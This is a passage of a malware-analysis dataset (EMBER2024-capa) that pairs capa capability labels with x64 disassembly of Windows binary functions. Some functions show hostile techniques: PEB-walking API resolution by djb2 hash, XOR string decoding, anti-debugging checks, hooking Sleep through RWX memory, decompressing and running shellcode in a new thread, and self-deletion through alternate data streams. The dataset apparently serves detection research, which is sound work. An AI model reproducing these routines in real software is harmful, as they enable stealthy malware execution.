joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400010a0
Capabilities:
Hash data using djb2

Disassembly:
xor eax, eax
test rcx, rcx
je 0x1400010ed
mov r9, rcx
mov eax, 0x1505
movsxd r10, edx
mov r8b, byte [r9]
test edx, edx
jne 0x1400010bf
test r8b, r8b
jne 0x1400010d4
ret
mov r11, r9
sub r11, rcx
cmp r11, r10
jae 0x1400010ed
test r8b, r8b
jne 0x1400010d4
inc r9
jmp 0x1400010de
cmp r8b, 0x60
jbe 0x1400010de
sub r8d, 0x20
imul eax, eax, 0x21
movzx r8d, r8b
inc r9
add eax, r8d
jmp 0x1400010b2
ret

Function at 0x1400011c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400011da
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
je 0x1400011da
xor eax, eax
ret

Function at 0x1400011e0
Capabilities:
Access peb ldr_data

Disassembly:
push rdi
push rsi
mov esi, ecx
push rbx
sub rsp, 0x20
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rbx, qword [rax + 0x10]
lea rdi, [rax + 0x10]
cmp rbx, rdi
je 0x140001221
mov rcx, qword [rbx + 0x60]
xor edx, edx
call fcn.1400010a0
cmp eax, esi
jne 0x14000121c
mov rax, qword [rbx + 0x30]
jmp 0x140001223
mov rbx, qword [rbx]
jmp 0x140001202
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x140002d50
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor eax, eax
mov rdi, rcx
mov qword [rcx], rax
mov ebx, edx
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x80], rax
add rcx, 0x50
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, qword [rsp + 0x30]
mov qword [rdi + 0x48], rax
mov rax, rdi
add rsp, 0x20
pop rdi
ret
Function at 0x140004a50
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 6], 0
je 0x140004a73
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x1e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 5
jb 0x140004a60
mov byte [rcx + 6], 0
mov rax, rcx
ret
Function at 0x140006e00
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 4], 0
je 0x140006e23
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 3
jb 0x140006e10
mov byte [rcx + 4], 0
mov rax, rcx
ret

Function at 0x140006e40
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x140006e63
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x140006e50
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x1400071c0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x19], al
je 0x1400071e3
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x18
jb 0x1400071d0
mov byte [rcx + 0x19], 0
lea r8, [rcx + 0x18]
mov rdx, rcx
mov rcx, rbx
call fcn.1400035e0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140007200
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x25], al
je 0x140007223
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x24
jb 0x140007210
mov byte [rcx + 0x25], 0
lea r8, [rcx + 0x24]
mov rdx, rcx
mov rcx, rbx
call fcn.1400035e0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140007240
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x1f], al
je 0x140007263
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1e
jb 0x140007250
mov byte [rcx + 0x1f], 0
lea r8, [rcx + 0x1e]
mov rdx, rcx
mov rcx, rbx
call fcn.1400035e0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140007280
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x13], al
je 0x1400072a3
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x12
jb 0x140007290
mov byte [rcx + 0x13], 0
lea r8, [rcx + 0x12]
mov rdx, rcx
mov rcx, rbx
call fcn.1400035e0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140007930
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x12], al
je 0x140007953
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x11
jb 0x140007940
mov byte [rcx + 0x12], 0
lea r8, [rcx + 0x11]
mov rdx, rcx
mov rcx, rbx
call fcn.1400035e0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140007970
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x20], al
je 0x140007993
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1f
jb 0x140007980
mov byte [rcx + 0x20], 0
lea r8, [rcx + 0x1f]
mov rdx, rcx
mov rcx, rbx
call fcn.1400035e0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x1400079b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0xb], al
je 0x1400079d3
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xa
jb 0x1400079c0
mov byte [rcx + 0xb], 0
lea r8, [rcx + 0xa]
mov rdx, rcx
mov rcx, rbx
call fcn.1400035e0
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x1400079f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x24], al
je 0x140007a13
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x23
jb 0x140007a00
mov byte [rcx + 0x24], 0
lea r8, [rcx + 0x23]
mov rdx, rcx
mov rcx, rbx
call fcn.1400035e0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140009c7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009cc6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009cc6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009cc6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009cc6
cmp dword [rcx + 0x84], 0xe
jbe 0x140009cc6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140009cc8
xor al, al
add rsp, 0x28
ret
Function at 0x180001070
Capabilities:
Check for outputdebugstring error
Check for peb beingdebugged flag
Patch process command line
Print debug messages

Disassembly:
sub rsp, 0x88
mov rax, qword [0x180061018]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x18000119d
test byte [rax + 0xbc], 0x70
jne 0x18000119d
mov ecx, 0x457
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [0x1800567ec]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x457
jne 0x18000119d
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x80], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, str.ntdll.dll
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x1800010fd
xor edi, edi
jmp 0x180001110
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 0x30
lea r8, [rsp + 0x30]
mov rbx, rax
xor edx, edx
lea rax, [rsp + 0x68]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call rdi
mov rdx, qword [rsp + 0x38]
lea rax, [rsp + 0x70]
add rdx, 0x50
mov qword [rsp + 0x60], 0xffffffffffffffff
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test byte [rsp + 0x60], 4
mov rdi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x90]
jne 0x18000119d
xor al, al
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180001c50
add rsp, 0x88
ret
mov al, 1
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180001c50
add rsp, 0x88
ret
Function at 0x180001300
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x180061018]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor bpl, bpl
mov word [rsp + 0x20], 0xba49
mov word [rsp + 0x2a], 0xff41
mov rbx, r9
mov qword [rsp + 0x22], r8
mov rdi, rdx
mov dword [rsp + 0x30], 0
mov esi, 0xd
test cl, cl
je 0x1800013a3
test rbx, rbx
je 0x18000136e
mov rcx, qword [r9 + 0x10]
test rcx, rcx
je 0x180001457
mov eax, dword [r9 + 0x18]
test eax, eax
je 0x180001457
mov r8d, eax
call fcn.180002c50
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800013f9
movsd xmm0, qword [rsp + 0x20]
mov bpl, 1
mov eax, dword [rsp + 0x28]
movsd qword [rdi], xmm0
mov dword [rdi + 8], eax
mov byte [rdi + 0xc], 0xe2
jmp 0x1800013f9
test rbx, rbx
je 0x180001457
cmp qword [r9], 0
je 0x180001457
mov eax, dword [r9 + 8]
test eax, eax
je 0x180001457
lea r9, [rsp + 0x30]
mov qword [rsp + 0x60], r14
mov r8d, 0x40
mov edx, eax
mov rcx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800013f4
mov rdx, qword [rbx]
mov r8d, esi
mov rcx, rdi
call fcn.180002c50
mov bpl, 1
mov r14, qword [rsp + 0x60]
cmp qword [0x180061b08], 0
jne 0x180001427
lea rcx, [0x180056808]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180061b08], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, esi
mov rdx, rdi
mov rcx, rax
call qword [0x180061b08]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, bpl
jmp 0x180001459
xor al, al
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180001c50
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x180001480
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x58
call fcn.180001070
test al, al
jne 0x180001581
mov qword [rsp + 0x50], rbx
mov ecx, 0x90904
mov qword [rsp + 0x48], rdi
call fcn.180003f44
mov r8d, 0x48482
lea rdx, str.PSQRVWUTAPAQARASATAUAVAWRH
mov rcx, rax
mov rdi, rax
call fcn.180002c50
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x20]
xor eax, eax
mov qword [0x180061ac8], rcx
mov qword [rsp + 0x20], rax
lea r8, [0x1800011c0]
mov qword [rsp + 0x28], rax
mov rdx, rcx
lea rax, [0x180061ad0]
mov dword [0x180061ac0], 1
mov cl, 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0x10
call fcn.180001300
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
mov edx, 0x48482
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000156d
mov r8d, 0x48482
mov rdx, rdi
mov rcx, rax
call fcn.180002c50
test rbx, rbx
setne cl
test cl, cl
je 0x18000156d
call rbx
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [rsp + 0x48]
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x50]
add rsp, 0x58
ret
mov ecx, 0xffffffff
call fcn.1800041e4
int3

Function at 0x1800041e4
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1800040bb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1800040bb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1800040bb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1800040bb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1800040bb
cmp dword [rcx + 0x84], 0xe
jbe 0x1800040bb
cmp dword [rcx + 0xf8], 0
je 0x1800040bb
mov ecx, ebx
call fcn.18000415c
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.180003f4c
cmp dword [rbp + 0x20], 0
je 0x180004108
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180004110
int3
xor r8d, r8d
xor edx, edx
jmp 0x180004054
Function at 0x1400017f0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov r10, rdx
mov rsi, rdx
sub r10, rcx
mov rbx, rcx
mov r8, rcx
mov r11d, 4
nop dword [rax]
mov r9d, 4
nop word [rax + rax]
movzx eax, byte [r10 + r8 + 0xa0]
xor byte [r8], al
inc r8
sub r9, 1
jne 0x140001830
sub r11, 1
jne 0x140001820
mov dil, 9
lea rbp, [0x1400371e0]
movzx eax, byte [rbx + 9]
mov r8, rbx
movzx ecx, byte [rbx + 0xd]
mov r9d, 4
mov byte [rbx + 0xd], al
movzx eax, byte [rbx + 5]
mov byte [rbx + 9], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 1], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + 0xb]
mov byte [rbx + 7], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xb], al
mov byte [rbx + 0xf], cl
nop dword [rax]
nop word [rax + rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + rbp]
mov byte [rcx - 4], al
sub rdx, 1
jne 0x1400018d0
inc r8
sub r9, 1
jne 0x1400018c0
movzx r8d, dil
lea r9d, [rdx + 4]
shl r8, 4
mov rax, rbx
sub r8, rbx
add r8, rsi
nop dword [rax]
nop word [rax + rax]
mov edx, 4
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
xor byte [rax], cl
inc rax
sub rdx, 1
jne 0x140001920
sub r9, 1
jne 0x140001910
test dil, dil
je 0x14000194c
mov rcx, rbx
call fcn.140001530
add dil, 0xff
jmp 0x140001855
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140002c60
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov r14, rdx
xor ebx, ebx
mov qword [rsp + 0x20], rbx
lea rdx, [0x1400373ec]
call fcn.14000b7c0
mov rdi, rax
mov esi, ebx
test rax, rax
je 0x140002ce7
xor edx, edx
lea r8d, [rbx + 2]
mov rcx, rax
call fcn.14000c008
mov rcx, rdi
call fcn.14000b5b8
movsxd rsi, eax
lea rcx, [rsi + 1]
call fcn.140005998
mov rbx, rax
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.14000c008
mov r9, rdi
mov r8, rsi
mov edx, 1
mov rcx, rbx
call fcn.14000e090
mov rcx, rdi
call fcn.14000bd94
mov qword [r14], rsi
jmp 0x140002cf1
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret
Function at 0x1400042c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400042e4
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140004327
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x140004327
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x140004432
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000436a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140004379
movsx ecx, dil
jmp 0x1400043d3
lea r8, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x41]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x98]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x40]
call qword [rax + 0x38]
test eax, eax
js 0x140004432
cmp eax, 1
jle 0x1400043ed
cmp eax, 3
jne 0x140004432
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call fcn.14000b5d8
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140004437
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x14000441d
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call fcn.14000d9a8
cmp rsi, rax
jne 0x140004432
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov eax, edi
jne 0x140004437
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret

Function at 0x140004d40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140004df2
cmp byte [rcx + 0x71], 0
je 0x140004df2
mov rax, qword [rcx]
mov edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140004da2
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
je 0x140004daf
sub eax, 1
je 0x140004db3
sub eax, 2
je 0x140004df2
xor al, al
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x140004de0
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call fcn.14000d9a8
cmp rdi, rax
jne 0x140004da2
cmp byte [rbx + 0x71], 0
sete al
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov rbx, qword [rsp + 0x68]
mov al, 1
add rsp, 0x50
pop rdi
ret

Function at 0x14000e62c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000e458
Function at 0x180001070
Capabilities:
Allocate or change rwx memory
Compress data via winapi
Create thread
Execute shellcode via indirect call
Self delete using alternate data streams
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x80
mov rax, qword [0x180020008]
xor rax, rsp
mov qword [rsp + 0x70], rax
xor r14d, r14d
lea rcx, str.C:UsersPublicDocuments_s1.dll
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001182
xor eax, eax
lea rdi, [rsp + 0x50]
mov ecx, 0x18
lea r9d, [r14 + 0x20]
rep stosb byte [rdi], al
movabs rax, 0x6e00610062003a
mov dword [rsp + 0x60], 8
mov rcx, rbx
mov qword [rsp + 0x64], rax
lea r8, [rsp + 0x50]
lea edx, [r14 + 3]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x180001182
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r14
lea rcx, str.C:UsersPublicDocuments_s1.dll
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x10000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rdi, [rsp + 0x40]
mov ecx, 1
mov rbx, rax
lea r9d, [r14 + 1]
xor eax, eax
lea r8, [rsp + 0x40]
rep stosb byte [rdi], al
mov rcx, rbx
mov byte [rsp + 0x40], 1
lea edx, [rax + 4]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlDecompressBuffer
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [0x180020a30]
mov r9d, 4
mov ecx, edi
mov dword [rsp + 0x44], r14d
and ecx, 0xfffff000
mov r8d, 0x3000
add ecx, 0x1000
mov rbx, rax
mov ebp, ecx
mov edx, ecx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 2
lea r9, [0x180020a34]
mov rsi, rax
mov r8d, edi
lea rax, [rsp + 0x44]
mov rdx, rsi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x305a0
call rbx
test eax, eax
je 0x18000121a
mov edx, eax
lea rcx, str.Decompress_failed:__d
call fcn.180001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, r14d
cmp byte [rsi + 4], dil
je 0x18000122c
inc edi
cmp byte [rdi + rsi + 4], r14b
jne 0x180001223
lea r9, [rsp + 0x48]
mov dword [rsp + 0x48], r14d
mov r8d, 0x40
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsi, 4
mov qword [rsp + 0x28], r14
lea r8d, [rdi + 1]
mov dword [rsp + 0x20], r14d
add r8, rsi
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1800012d0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x18000d108
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000d138
xor eax, eax
jmp 0x18000d1fb
mov rbp, rbx
cmp word [rax], si
je 0x18000d15d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000d144
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000d140
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000d028
movsxd r14, eax
test eax, eax
jne 0x18000d19b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000d131
mov rcx, r14
call fcn.180009688
mov rdi, rax
test rax, rax
jne 0x18000d1b4
xor ecx, ecx
call fcn.180008afc
jmp 0x18000d190
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000d028
test eax, eax
jne 0x18000d1e5
mov rcx, rdi
call fcn.180008afc
jmp 0x18000d1ef
xor ecx, ecx
call fcn.180008afc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180010bcc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180010be2
mov al, 1
jmp 0x180010c42
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180010bf3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180010c40
mov ecx, dword [rcx + 0x18]
nop
call fcn.18000ea10
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180010c40
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180010c40
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180010c40
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180010c42
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x180013fb0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180013fd8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180013fd8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
